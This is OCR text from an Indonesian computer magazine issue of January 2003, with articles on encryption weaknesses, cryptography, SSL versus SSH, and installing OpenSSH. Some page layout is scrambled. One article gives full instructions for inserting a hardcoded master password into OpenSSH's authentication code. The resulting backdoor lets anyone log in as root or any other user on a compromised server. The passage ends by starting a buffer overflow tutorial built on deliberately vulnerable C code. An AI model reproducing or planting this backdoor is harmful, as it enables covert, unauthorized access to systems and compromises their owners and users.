Kelemahan Enkripsi Dasar-dasar enkripsi dibahas dalam artikel khusus tulisan Kurniaji Satrio. Di sini hanya akan dibahas kelemahankelemahan enkripsi, yaitu; • Salah penanganan atau human error • Kelemahan cipher itu sendiri • Serangan brute force Salah penanganan atau human error Metode enkripsi yang satu membutuhkan key management yang lebih baik daripada yang lain.Gejala pemakai bodoh (stupid user syndrome) menjadi penting dalam memilih metode enkripsi yang dipilih.
Public/private cipher key (seperti misalnya PGP) menjadi populer karena sederhananya key management yang dibutuhkan. Dengan metode ini private key cukup disimpan sendiri, sedangkan public key bisa ditransmisikan dengan metode apa saja, tidak harus metode yang secure. Kelemahan cipher Untuk memastikan bahwa cipher yang digunakan itu aman, ada beberapa hal yang perlu diperhatikan. • Rumus matematik yang digunakan dalam algoritma enkripsi harus diketahui umum. Algoritma yang mengandalkan kerahasiaan malah besar kemungkinannya mengandung kesalahan yang memudahkan cracking. • Algoritma enkripsi harus melewati penelaahan umum. Setiap orang harus dapat mengevaluasi algoritma ini dan bebas mendiskusikan penemuannya. Ini artinya analisa terhadap suatu algoritma tidak boleh dibatasi oleh perjanjian kerahasiaan. • Algoritma enkripsi ini harus tersedia untuk umum selama waktu yang memadai untuk terjadinya proses analisa. Algoritma enkripsi yang belum diketahui kelemahannya dan baru tersedia beberapa bulan belumlah lulus menghadapi ujian. Salah satu alasan mengapa orang mempercayai enkripsi DES adalah bahwa enkripsi ini sudah ada sejak 15 tahun yang lalu. • Setiap algoritma mempunyai kelemahan-kelemahan kecil yang seharusnya tidak secara dramatis mengurangi waktu yang diperlukan untuk meng-crack semua kombinasi key yang mungkin. Serangan brute force Serangan brute force adalah usaha mencoba semua kombinsi cipher key yang mungkin untuk mendapatkan cipher key yang dapat meng-unlock ciphertext. Serangan ini dikenal juga sebagai exhaustive key search. Dalam brute force sebenarnya tidak dilakukan usaha meng-crack cipher key, melainkan mengandalkan pada mencoba semua kombinasi key yang mungkin dalam suatu jangka waktu yang wajar. Metode Enkripsi dan Banyaknya Kombinasi Key Enkripsi Bit key Banyaknya key yang mungkin Netscape 40 240=1.099.511.627.776 DES (export) 56(40) 256=72.057.594.037.927.900 240=1.099.511.627.776 TripeDES 112 2112=5.192.296.858.534.830.000.. (2 key) 000.000.000.000.000 IDEA 128 2128=340.282.366.920.938.000. 000.000.000.000.000.000 RC4 128 2128=340.282.366.920.938.000. 000.000.000.000.000.000 TripeDES 168 2168=374.144.419.156.711.000. (3 key) 000.000.000.000.000.000.000.000. 000.000.000 Blowfish s/d 448 2488=726.838.724.295.607.000. 000.000.000.000.000.000.000.000. 000.000.000.000.000.000.000.000. 000.000.000.000.000.000.000.000. 000.000.000.000.000.000.000.000. 000.000.000.000.000.000.000 AES 128,192, 2256=115.792.089.237.316.000.000. 256 000.000.000.000.000.000.000.000. 000.000.000.000.000.000.000.000. 000.000.000 Januari 2003 NeoTek
11
NeoStart
Mengenal Kriptografi Saat anda tersambung ke Internet, banyak hal yang dapat dilakukan pihak lain untuk “mencuri” data anda. Upaya untuk mencegah pencurian semacam itu dilakukan orang dengan mengembangkan enkripsi. Kurniaji Satrio ([email protected]) menyajikan kriptografi yang merupakan ilmu untuk menghasilkan enkripsi. ADARKAH ANDA BAHWASANYA SETIAP HARI aktivtias surfing anda di Internet, login untuk melihat email atau chatting dengan rekan-rekan di seberang jauh sana melalui jaringan Internet ternyata dapat disadap dengan menggunakan piranti lunak semacam Packet Sniffer? Bayangkan saja jika tidak hanya komunikasi sipil yang disadap tetapi juga komunikasi militer, apa yang akan terjadi? Yang akan terjadi adalah data-data rahasia negara menjadi bocor ke tangan negara lain. Akan hancur negara tersebut karena data-data rahasia telah bocor keluar. Mengerikan bukan? Untuk mencegah hal itu terjadi diperlukan proses penyandian informasi yang dikenal dengan Enkripsi (Encryption) yang merupakan implementasi dari teknik Kriptografi (Cryptography). Menurut Bruce Schneider dalam Applied Cryptography (John Wiley & Sons, 1996), kriptografi adalah seni dan ilmu untuk menjaga agar pesan rahasia tetap aman. Kriptografi merupakan salah satu cabang ilmu algoritma matematika. Para penggemar kriptografi sering disebut cryptographer, sedangkan kebalikannya adalah cryptalanyst yang berusaha memecahkan sandi kriptografi.
S
Seperti yang telah dijelaskan diatas, kriptografi mengilhami teknik enkripsi atau teknik penyandian yang mengubah sebuah pesan dari pesan yang dapat dibaca (plain text) menjadi sebuah pesan yang acak yang dan sulit diartikan (ciphertext). Untuk dapat membaca pesan yang terenkripsi diperlukan proses terbalik dari enkripsi yang disebut dekripsi (decryption). 12
NeoTek Januari 2003
Jenis Kriptografi dan Algoritma Enkripsi Kriptografi berkembang dari tahun ke tahun dari abad Sebelum Masehi sampai sekarang, dari zaman Julius Caesar sampai zaman komputer dan Internet. Caesar Cipher Teknik kriptografi dan enkripsi yang ada sejak jaman Julius Caesar dirancang sendiri oleh Julius Caesar dan dinamakan Caesar Cipher. Enkripsi ini menggunakan teknik penggeseran alfabet 3 langkah ke kiri dari abjad A sampai dengan Z.
NeoStart Teknik ini merupakan contoh sederhana dari teknik enkripsi, di mana setiap karakter alfabet digantikan dengan karakter yang lain, dengan panjang alfabet sebanyak 26 karakter. Teknologi di atas tidak dapat digunakan lagi pada zaman sekarang karena terlalu sederhana. Enigma Machine Mesin enigma merupakan alat untuk menyandikan informasi yang digunakan oleh Jerman pada saat perang dunia kedua. Mesin ini menggunakan gabungan rotor mesin yang terangkai satu sama lain.
Perkembangan dari block cipher ialah AES (Advanced Encryption Standard) yang merupakan kontes publik bagi algoritma enkripsi yang diadakan oleh NIST (National Institue of Standards and Technology) pada tahun 1997 dan menghasilkan 5 finalis antara lain : 1. MARS (IBM). 2. RC6 (RSA). 3. Twofish (Bruce Schenier) 4. Serpent (Ross Anderson / Eli Biham / Lars Knudsen) 5. Rijndael (Joan Daemen / Vincent Rijmen). Akhirnya Algoritma Rijndael terpilih sebagai pemenang pada bulan oktober 2000. Symmetric Key Cryptosystem — Stream Cipher Encryption Stream cipher berbasis key stream generator yang menghasilkan pseudo-random sequence yang diinisialisasi oleh sebuah kunci rahasia.. Yang kemudian di-XOR kan dengan pesan yang asli untuk menghasilkan pesan yang acak.
DES (Digital Encryption Standard) Algoritma DES diciptakan oleh IBM pada tahun 19601970. Algoritma ini mempunyai panjang kunci 56 bit. Enkripsi DES banyak digunakan di instansi militer dan perbankan pada tahun 1970-an. Tetapi enkripsi DES saat ini sudah tidak layak lagi diimplementasikan karena panjang kunci yang hanya 56 bit mudah untuk dipecahkan. Symmetric Key Cryptosystem — Block Cipher Encryption Block cipher membagi sebuah pesan dalam beberapa blok sebesar n bits, kemudian meng-enkripsi setiap blok tersebut dengan sebuah kunci rahasia dengan menggunakan algoritma khusus.
Algoritma stream cipher yang terkenal yaitu RC4 (Ron Rivest, RSA). Asymmetric Key Cryptosystem Berbeda dengan tipe symmetric cryptosystem, tipe asymmetric ini memungkinkan kunci enkripsi dan dekripsi yang berbeda. Implementasi dari asymmetric cryptosystem salah satunya adalah PGP dimana untuk enkripsi email digunakan public key sedangkan untuk men-dekripsi email digunakan private key.
Secure Protocol Secure protocol mendukung baik otentikasi maupun enkripsi, yang menjamin bahwa data yang dilewatkan antara client dan server sifatnya secure (terenkripsi) dan bahwa kedua belah pihak yang melakukan koneksi (client maupun server) dapat memastikan bahwa masing-masing terhubung dengan pihak yang seharusnya, yang dengan demikian meminimalkan pemalsuan identitas melalui IP address spoofing, DNS poisoning, maupun man-in-the-middle attack. Perbedaan SSL dan SSH
Lebih Jauh Mengenai SSL
aik SSL (Secure Socket Layer) maupun SSH (Secure Shell) keduanya dapat digunakan untuk mengamankan komunikasi melalui Internet. Apa perbedaan antara kedua secure protocol ini? SSL dirancang untuk mengamankan sesi Web, sedangkan SSH dirancang untuk menggantikan protokol telnet dan FTP. Keduanya mempunyai banyak fitur lain, tetapi tujan utamanya memang yang disebutkan di atas. SSL telah digunakan untuk mengamankan protokol-protokol lain yang incerure menjadi secure. SSL menjadi perantara antara pemakai dengan protokol HTPP dan menampilkan HTTPS kepada pemakai. Hal yang sama dapat dilakukan pula terhadap protokol-protokol insecure lain seperti POP3, SMTP, IMAP, dan apa saja yang merupakan aplikasi TCP. Adapun SSH merupakan produk serba guna yang dirancang untuk melakukan banyak hal, yang kebanyakan berupa penciptaan secure tunnel antar-host. Beberapa implementasi SSH tergantung pada SSL libraries karena SSH dan SSL menggunakan banyak alogitma enkripsi yang sama (misalnya TripleDES). SSH tidak berdasarkan SSL seperti halnya HTTPS berdasarkan SSL. SSH mempunyai jauh lebih banyak kelebihan daripada SSL, dan keduanya tidak berhubungan satu sama lain. Keduanya merupakan dua protokol yang berbeda, namun dalam mencapai tujuan-tujuannya mungkin saling tumpang-tindih. SSL tidak memberi apa-apa kecuali handshake dan enkripsi. Anda memerlukan aplikasi untuk membuat SSL menjalankan tugasnya. SSH, sebaliknya, menjalankan sendiri banyak hal. Dua aspek penting SSH adalah console login (menggantikan telnet) dan secure file transfer (menggantikan FTP), tetapi dengan SSH anda juga memperoleh kemampuan membentuk secure tunnel untuk melewatkan aplikasi apa saja, yang membuat pemakai dapat menjalankan HTTP, FTP, POP3, dan apapun lainnya melalui SSH tunnel. Tanpa adanya traffic dari suatu aplikasi, SSL tidak melakukan apa-apa, tetapi SSH sudah membentuk encrypted tunnel antara dua host yang memungkinkan anda melaksanakan login shell, file transfer, dan lain sebagainya. Terakhir, HTTPS menggunakan SSL untuk menjalankan HTTP yang secure dan HTTPS itu dapat anda lewarkan melalui tunnel yang dibentuk oleh SSH!
SSL (Secure Socket layer) dikembangkan oleh Netscape untuk mengamankan HTTP dan sampai sekarang masih inilah pemanfaatan utama SSL. SSL menjadi penting karena beberapa produk umum seperti Netscape Communicator, Internet Explorer, dan WS_FTP Pro, yang merupakan produk yang lazim digunakan, menggunakan SSL.
B
14
NeoTek Januari 2003
Cara Kerja SSL
SSL merupakan protokol untuk meng-enkripsi dan mendekripsi data yang dikirim melalui koneksi langsung Internet. Sewaktu client membentuk suatu koneksi SSL ke suatu server, semua yang dikirimkan ke dan dari server akan di-encode dengan suatu algoritma matemaika yang kompleks, yang membuatnya sangat sulit untuk men-decode apapun yang berhasil dirampas di tengah jalan (misalnya dengan menggunakan sniffer). Berikit ini adalah langkah-langkah yang menggambarkan cara kerja SSL.
o n q p Langkah 1 Client membentuk koneksi awal ke server dan meminta koneksi SSL. Langkah 2 Bila server yang dihubungi telah dikonfigurasi dengan benar, maka server ini akan mengirimkan client public key miliknya. Langkah 3 Client membandingkan sertifikat dari server ke basisdata trusted authorities. Bila sertifikat ini terdaftar di situ, artinya client mempercayai (trust) server itu dan akan
NeoStart maju ke Langkah 4. Bila sertifikat itu tidak terdaftar, maka pemakai harus menambahkan sertifikat ini ke trusted database sebelum maju ke Langkah 4. Langkah 4 Client menggunakan public key yang didapatnya untuk men-enkrip sesi dan mengirimkan session key ke server. Bila server meminta sertifikat client di Langkah 2, maka client harus mengirimkannya sekarang. Langkah 5 Bila server di-setup untuk menerima sertifikat, maka server akan membandingkan sertifikat yang diterimanya dengan basisdata trusted authorities dan akan menerima atau menolak koneksi yang diminta. Bila koneksi ditolak, suatu pesan kegagalan akan dikirimkan ke client. Bila koneksi diterima, atau bila server tidak di-setup untuk menerima sertifikat, maka server akan men-decode session key yang didapat dari client dengan private key milik server dan mengirimkan pesan berhasil ke client yang dengan demikian membuka suatu secure data channel. Terdapat dua implementasi SSL: SSLeay dan OpenSSL. Versi terakhir dari SSL adalah SSL v.3.0. Microsoft menerapkan versi SSH-nya sendiri yang dikenal sebagai TLS atau Transport Layer Security (disebut juga sebagai SSL v.3.1), namun tidak mendapat banyak dukungan diluar produk-produk Microsoft sendiri.
Lebih Jauh Mengenai SSH Pada awalnya SSH dikembangkan oleh Tatu Ylönen di Helsinki University of Technology. SSH memberikan alternatif yang secure terhadap remote session tradisional dan file transfer protocol seperti telnet dan relogin. Protokol SSH mendukung otentikasi terhadap remote host, yang dengan demikian meminimalkan ancaman pemalsuan identitas client lewat IP address spoofing maupun manipulasi DNS. Selain itu, SSH mendukung beberapa protokol enkripsi secret-key (DES, TripleDES, IDEA, dan Blowfish) untuk membantu memastikan privacy dari keseluruhan komunikasi, yang dimulai dengan username/password awal. SSH menyediakan suatu virtual private connection pada application layer, mencakup interactive logon protocol (ssh dan sshd) serta fasilitas untuk secure transfer file (scd). Setelah meng-instal SSH, sangat dianjurkan untuk men-disable telnet dan rlogin. Implementasi SSH pada Linux di antaranya adalah OpenSSH, yang tersedia gratis di situs www.openssh.org. Cara Kerja SSH
Misalkan suatu client mencoba mengakses suatu Linux server melalui SSH. SSH daemon yang berjalan baik pada Linux server maupun SHH client telah mempunyai pasangan public/private key yang masing-masing menjadi identitas SSH bagi keduanya. Langkah-langkah koneksinya akan sebagai berikut: Langkah 1 Client bind pada local port nomor besar dan melakukan koneksi ke port 22 pada server. Langkah 2 Client dan server setuju untuk menggunakan jenis sesi SSH tertentu. Hal ini penting karena SSH v. 1 dan v. 2 tidak kompatibel.
Langkah 3 Client meminta public key dan host key milik server. Langkah 4 Client dan server menyetujui alogritma enkripsi yang akan dipakai (misalnya Triple DES atau IDEA). Langkah 5 Client membentuk suatu session key dan mengenkripsinya menggunakan public key milik server. Langkah 6 Server men-decrypt session key yang didapat dari client, meng-re-encrypt-nya dengan public key milik client, dan mengirimkannya kembali ke client untuk verfikasi. Langkah 7 Pemakai mengotentikasi dirinya ke server di dalam aliran data terenkripsi dalam session key tersebut. Sampai disini koneksi telah terbentuk, dan client dapat selanjutnya bekerja secaraq interaktif pada server atau mentransfer file ke atau dari server. Langkah 7 di atas dapat dilaksanakan dengan berbagai cara (username/password, Kerberos, RSA, dan lain-lain). Implementasi SSH
Implementasi SSH pada awalnya tersedia bebas, namun selewat v.1.2.12, mulai diterapkan lisensi yang praktis membuatnya suatu produk komersial dari Data Fellows, Inc. Komunitas Open Source manyadari bahwa konsep SSH terlalu berharga untuk dibiarkan begitu saja sehingga terbentuk usaha menulis ulang free version dari SSH. Sejak tahun 1999, Björn Grönvall, dan kemudian OpenBSD development team, mengambil implementasi SSH v.1.2.12 yang asli dan mengembangkannya menjadi apa yang sekarang disebut OpenSSH. Kini OpenSSH sudah sampai v. 2 dan mendukung banyak platform, termasuk Linux. Karena OpenSSH merupakan free software, terdapat banyak patch yang tersedia untuk mengimplementasinya pada berbagai perluasan. Di antaranya: • Kerberos/GSSAPI, mendukung OpenSSH/1 maupun OpenSSH/2 melalui GSSAPI • DNSSEC, SSH host key distribution and verification, menggunakan Secure DNS (DNSSEC). • SRP, SSH user authentication melalui Secure Remote Password protocol. Januari 2003 NeoTek
15
NeoTekno
Instalasi OpenSSH OpenSSH merupakan implementasi freeware terhadap protokol SSH yang sejak awal ditujukan untuk menggantikan protokol telnet dan rlogin yang tidak secure dengan protokol SSH (port 22) yang menggunakan public key cryptography. Kurniaji Satrio ([email protected]) menguraikannya untuk anda. SH ATAU SECURE SHELL ADALAH PROTOKOL yang menyediakan jaringan ter-enkripsi antar client server. OpenSSH sendiri adalah salah satu varian SSH yang berbasis open source dan merupakan pengembangan dari free ssh 1.2.12 release Tatu Ylönen yang kemudian dikembangkan lagi oleh sebuah tim dari OpenBSD Project (www.openbsd.org), salah satu varian Unix berbasis Berkeley Software Distribution (BSD) dan OpenSSH muncul pertama kali di operating system OpenBSD 2.6
S
Distribusi OpenSSH OpenSSH mengeluarkan dua jenis distribusi yang berbeda, antara lain: 1. OpenSSH khusus untuk OpenBSD OpenSSH yang khusus dibuat untuk distribusi OpenBSD. 2. OpenSSH untuk system operasi yang lain. OpenSSH dinamakan portable OpenSSH untuk digunakan di operating system selain OpenBSD (Linux, Sun, FreeBSD, NetBSD). Distribusi ini memakai huruf p di akhir nama file OpenSSH, contoh: openssh-3.4p1.tar.gz Meskipun demikian tidak ada perbedaan fungsi antar kedua distribusi openssh.
• Telnet Session — Informasi dilewatkan pada unencrypted tunnel di Internet.
16
NeoTek Januari 2003
OpenSSH vs Telnet Bagaimana pertama kali SSH bermula? Pada mulanya orang menggunakan telnet/port 23 atau rlogin untuk login ke server Unix/Linux secara remote tetapi kelemahan utama telnet/rlogin ialah lalu lintas paket pada jaringan client dan server tidak terenkripsi sehingga mengundang orang usil memakai sniffer untuk membajak user dan password melalui sesi telnet yang kita lakukan ke server. Teknik ini sering disebut dengan Man of the Middle Attack. Apakah kelebihan SSH dibandingkan telnet? Pertanyaan yang pasti muncul pertama kali. Tentunya kelebihan utama SSH ialah kemampuannya untuk meng-enkripsi tunnel antara client dan server sehingga data yang kita kirim dan terima bukan berupa data plaintext (data tak terenkripsi) melainkan berupa data ciphertext (data terenkripsi), tentunya akan membuat sang orang usil untuk berpikir seribu kali men-decrypt data tersebut karena membutuhkan waktu beratus-ratus sampai beribu tahun lamanya untuk dapat meng-crack enkripsi dari SSH :).
Fitur OpenSSH • Proyek Open Source • Bebas Lisensi • Enkripsi yang kuat (3DES, Blowfish)
• SSH Session — Informasi dilewatkan pada encrypted tunnel di Internet.
NeoTekno • X11 Forwarding (enkripsi terhadap trafik X Window System) • Port Forwarding. • Strong Authentication (Public Key, One-Time Password dan Kerberos) • Agent Forwarding. • Interoperabilitas (kompatibel dengan protocol SSH 1.3, 1.5, dan 2.0) • SFTP client dan server, mendukung protocol SSH1 dan SSH2 • Kerberos dan AFS. • Kompresi data (Memerlukan Zlib)
Keamanan OpenSSH OpenSSH terbukti aman dan auditable. Hal ini dapat dilihat dari daftar record security di alamat www.openssh.com/security.html.
Daftar Sistem Operasi yang Menggunakan OpenSSH Daftar sistem operasi di bawah ini diketahui mengintegrasikan OpenSSH di sistem mereka. Antara lain : • OpenBSD • Debian Linux • FreeBSD • Suse Linux • Redhat Linux • Mandrake Linux • BSDi BSD/OS • NetBSD • Computone • Conectiva Linux • Slackware Linux • Caldera OpenLinux • Stallion • Rock Linux • Cygwin • e-smith server and gateway • Engarde Linux • MacOS X Version 10.1 • HP Procurve Switch 4108GL and 2524/2512 • IBM AIX • Gentoo Linux • Gwynux/Toadware Linux • Sun Solaris 9 (SunSSH) • SmoothWall • IPCop • Dan masih banyak lagi
Instalasi OpenSSH Di sini saya akan menjelaskan cara menginstal OpenSSH. Penjelasan di bawah ini berlaku untuk semua sistem berbasis Unix termasuk Linux. Yang anda perlukan antara lain: • gcc (Gnu C Compiler). Default di semua system unix. • Zlib (www.gzip.org/zlib) optional untuk kompresi data. • OpenSSL terbaru (www.openssl.org) • OpenSSH Portable (hwww.openssh.com/portable.html). Versi terbaru ialah openssh-3.4p1. ftp://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/ openssh-3.4p1.tar.gz Setelah semua paket di-download, maka kita ekstrak dan kompilasi: server# server# server# server# server# server# server#
tar xvfz openssl-engine-0.9.6e.tar.gz cd openssl-0.9.6e/ ./config make make test make install cd ..
Secara default OpenSSL terinstal di direktori /usr/local/ssl. Ekstrak dan kompilasi Zlib. server# server# server# server# server#
tar xvfz zlib.tar.gz cd zlib ./configure make cd ..
Ekstrak dan kompilasi OpenSSH. server# tar xvfz openssh-3.4p1.tar.gz server# cd openssh-3.4p1 server# ./configure --prefix=/usr/local/ssh --sbindir=/usr/sbin --bindir=/usr/bin --mandir=/usr/local/man --sysconfdir=/etc/ssh -with-ssl-dir=/usr/local/ssl --with-zlib=../zlib server# make server# make install
OpenSSH akan terinstal di direktori /usr/local/ssh dengan sistem konfigurasi berada pada direktori /etc/ssh Jika anda bingung dengan perintah configure anda bisa melihat manual lengkap dengan mengetik perintah: server# ./configure --help|more
Sebelum menjalankan daemon SSH, kita perlu membuat user sshd dengan uid=27, home direktori berada di /var/empty serta user sshd tsb tidak mempunyai shell dan password. Anda bisa menggunakan perintah adduser atau useradd untuk menambah user sshd atau selengkapnya anda bisa melihat manual adduser atau useradd server# man adduser
Konfigurasi SSHD Untuk membuat sshd bekerja pada protokol SSH2 yang lebih aman dari SSH1 maka ubah baris Protokol 2,1 pada file sshd_config menjadi Protokol 2 dan hilangkan comment di depannya. server# vi /etc/ssh/sshd_config #Protocol 2,1
menjadi Protocol 2
Jika anda tidak ingin user root login langsung ke mesin Unix/Linux ini, anda dapat mengubah baris #PermitRootLogin yes
menjadi PermitRootLogin no
Menjalankan SSHD Setelah semua langkah di atas kita lakukan, maka kita bisa menjalankan daemon sshd dengan perintah: server# /usr/sbin/sshd
Buat sshd otomatis berjalan saat booting. server# echo "/usr/sbin/sshd" >> /etc/rc.local Periksa apakah daemon ssh sudah berjalan dan periksa pula protokolnya: server# telnet localhost 22 Connected to localhost. Escape character is '^]'. SSH-2.0-OpenSSH_3.4p1 ^] telnet>
Seperti yang terlihat diatas sshd berjalan dengan protokol versi SSH 2.0 Referensi: 1. www.openssh.com/faq.html 2. www.openbsd.org/cgibin/man.cgi?query=style&sektion=9 3. www.lothar.com/tech/crypto/ 4. www.aet.tucottbus.de/personen/jaenicke/postfix_tls/prngd.html 5. www.gzip.org/zlib/ 6. www.openssl.org/ 7. www.kernel.org/pub/linux/libs/pam/ Januari 2003 NeoTek
17
NeoTekno
Membuat Backdoor Sendiri
dengan OpenSSH OpenSSH adalah protokol yang mengadakan komunikasi pada port 22, selain dapat digunakan untuk secure connection ke server. Rio Martin ([email protected]) dan Odyxb (ed.) menjelaskan bahwa OpenSSH dapat dimodifikasi agar listen pada port 22. Artinya OpenSSH dapat dijadikan backdoor pada suatu server.
T
ENTUNYA KITA TIDAK AKAN MERASA ASING LAGI
dengan daemon yang bernama OpenSSH apabila telah menggunakan Operating Sistem Linux. Sangat berguna sekali untuk administrasi sistem. Hampir semua mengatakan SSHD adalah OpenSSH walaupun sebenarnya banyak vendor yang menciptakan daemon SSH yang lain seperti SSH-Secure Shell , F-Secure. Persentase penggunanya sangat besar, bahkan sudah bisa dikontribusikan ke berbagai operating system seperti BSD, Solaris, bahkan sampai ke Windows berkat Cygwin32.
Bagi anda yang menggunakan OS Windows terkebih dahulu anda telah memiliki account shell dan menggunakan putty untuk menggunakan shell account tersebut. Command yang harus diketik adalah sebagai berikut: #wget URL
Selanjutnya command: #lynx URL
Versi yang akan saya pakai adalah OpenSSH-3.1p1 , dapat didownload melalui www.openssh.org download file yang berbentuk TAR.GZ karena kita akan melakukan modifikasi pada beberapa file pada source-nya. File yang akan diambil bernama OpenSSH-3.5p1.tar.gz Untuk download bisa memakai Lynx ataupun Wget pada console Linux secara langsung.
Keterangan: URL adalah alamat lengkap dari source openssh-3.1p1.tar.gz berada. Eksekusi command tersebut sehingga akan anda lihat proses selanjutnya, berikut proses yang dapat tertangkap.
Tekan D untuk melakukan download, dan tekan C untuk membatalkan proses. Tetapi dalam hal ini yang anda lakukan adalah menekan D. Hingga hasilnya akan terlihat seperti gambar berikut. Tekan q untuk stop. 18
NeoTek Januari 2003
NeoTekno
Setelah selesai maka file yang diambil akan ada di direktori di mana kita melakukan perintah wget. Sebelum melangkah selanjutnya saya harap anda merupakan root, sebab jika bukan UID root (0) maka Daemon tidak akan bisa Listening (membuka port) di port 22. Hal ini dapat diketahui dengan tanda # pada shell prompt Linux anda. Selanjutnya ekstrak file openssh tsb: #tar -zxvf openssh-3.5p1.tar.gz
Perhatikan yellow light, di sana tambah skrip berikut: #ifdef T3RM if (strcmp(T3RM, password) == 0) { return 1; } #endif
Setelah ditambahkan, tekan Ctlr+x, lalu tombol Y dan Enter. Itu berfungsi untuk menyimpan hasil modifikasi. Untuk version.h lakukan modifikasi dengan kembali menggunakan pico: # pico version.h Perhatikan yellow light, tambahkan skrip di bawah ini di bagian yellow light. #define T3RM
Setelah semua file diekstrak, masuk ke directory openssh3.1p1 dengan command berikut ini: #cd openssh-3.5p1 #ls
Lalu perhatikan dan cari dua file ini: auth-passwd.c dan version.h. Dua file inilah yang akan kita modifikasi sehingga openssh yang kita instal menjadi backdoor. Password backdoor yang telah kita set akan menjadi satu-satunya password yang dapat membuka login untuk seluruh user di sistem yang dipasangi backdoor ini. Pertama modifikasi auth-passwd.c dengan menggunakan command pico: #pico auth-passwd.c
"password"
Ganti password sesuai dengan yang anda inginkan. Kembali simpan hasil modifikasi tersebut dengan cara yang sama ketika menyimpan hasil modifikasi pada auth-passwd.c dan setelah itu lakukan kompilasi ulang OpenSSH. Langkah-langkah yang harus dilakukan selanjutnya, lakukan command berikut secara berturut-turut: #./configure # make # make install Jika terjadi error, baca ulang file README & INSTALL yang sudah ada di dalam direktori OpenSSH-3.1p1. Lakukan edit pada etc/sshd_config seperlunya. Lalu kalau sudah jalankan binary sshd yang terletak pada sbin/sshd Lakukan cek apakah sshd sudah berjalan atau belum dengan command berikut: #ps aux | grep sshd #netstat -an |grep LISTEN Jika sshd sudah ada pada proses dan port 22 dalam keadaan LISTEN, maka SSHD sudah berjalan dan backdoor dapat digunakan. Lakukan tes dengan mencoba koneksi ke SSH. Setelah muncul login isikan dengan root. Passwordnya adalah password backdoor yang telah diset pada file version.h. Kini anda sudah bisa login dengan backdoor yang dibuat pada Open SSH-3.1p1 dan ini tidak hanya berguna bagi login root saja, tetapi cobalah juga untuk login user lain di sistem tersebut. Sebenarnya yang anda lakukan hanya menambahkan baris perintah pada file kode otentikasi dari OpenSSH yang berguna apabila password yang diisikan sama dengan yang telah didefinisikan pada file version.c maka dia akan langsung login shell tanpa melakukan cek otentikasi pada /etc/passwd dan /etc/shadow. Anda juga bisa melakukan login dengan username dan password yang sebenarnya. Sehingga daemon OpenSSH ini tetap bekerja dengan semestinya, walaupun telah kita modifikasi ulang menjadi sebuah backdoor. Januari 2003 NeoTek
19
NeoTekno
Memahami Metode Hacking
Buffer Overflow Input validation attack dapat mengakibatkan suatu sistem crash yang dikenal sebagai buffer overflow yaitu variabel yang tersedia pada aplikasi tidak dapat menampung input yang sengaja dibuat berlebihan. Teknik ini banyak digunakan pada man in the middle attack maupun untuk mendapatkan shell console. istilah buffer overflow. Buffer overflow adalah salah satu metode yang digunakan oleh hacker untuk mengeksploitasi sebuah sistem komputer yang memiliki kelemahan pada salah satu aplikasi yang digunakan oleh sistem tersebut. Sebuah aplikasi dapat di-buffer-overflow karena memang aplikasi tersebut tidak memiliki kontrol data yang baik dan biasanya ini tidak di sadari oleh si pembuat program tersebut. Lalu bagaimana seorang hacker dapat memperoleh hak akses terhadap sistem hanya dengan memanfaatkan kelemahan dari suatu aplikasi yang ada di sistem komputer target? Tentu hal ini berkaitan erat dengan otoritas (baca: akses) yang di miliki oleh aplikasi tersebut. Agar anda bisa memahami dan melihat secara nyata dampak dan akibat dari buffer overflow ini, di sini akan diimplementasikan metode buffer overflow ini dalam bahasa C/C++ yang hingga saat ini masih menjadi bahasa yang paling banyak digunakan dalam pembuatan aplikasi untuk Linux dan Unix. Kemudian untuk sistem operasinya penulis menggunakan Linux RedHat 7.2 Enigma. Pemahaman buffer overflow sendiri adalah keadaan di mana buffer (variabel yang di gunakan suatu aplikasi untuk menyimpan datanya di memori) terisi dengan data yang ukurannya melebihi kapasitasnya sendiri dan akibatnya kelebihan data itu akan mengisi alamat memori lain yang bukan milik variabel tersebut atau dalam hal ini di sebut dengan overwrite. Implementasinya dalam bahasa C/C++ begini: Code: input.c
A
NDA MUNGKIN PERNAH MENDENGAR
Anda bisa mencoba program input yang kita buat di shell Linux atau Unix anda. Coba perhatikan gambar berikut:
• Gambar 1: Uji coba kode input.c.
Dari contoh di atas kita bisa melihat ketika dimasukkan karakter sebanyak 25 karakter aplikasi berjalan normal tetapi ketika dicoba dengan karakter di atas 30 yang terjadi adalah aplikasi mengalami segmentation fault. Nah inilah yang di maksud dengan kondisi buffer overflow. Lalu apa yang terjadi di memori ketika terjadi buffer overflow? Kita akan mencoba menganalisisnya dengan program gdb (program debuger Linux dan Unix).
#include <stdio.h> void duplikasi(char *st) { char buf[30]; strcpy(buf, st); printf("Anda telah memasukan data ke variabel buf dengan:\n%s\n", buf); return; } int main () { char msg[100]; printf("Masukan karakter, kemudian tekan enter: "); gets(msg); duplikasi(msg); return 0; }
Dari kode di atas variabel msg diduplikasikan ke variabel buf yang memiliki kapasitas 30 karakter. Lalu apa yang terjadi jika kita masukkan karakter di atas 30 karakter? Sebelumnya kompile kode input.c dengan gcc compiler. gcc -o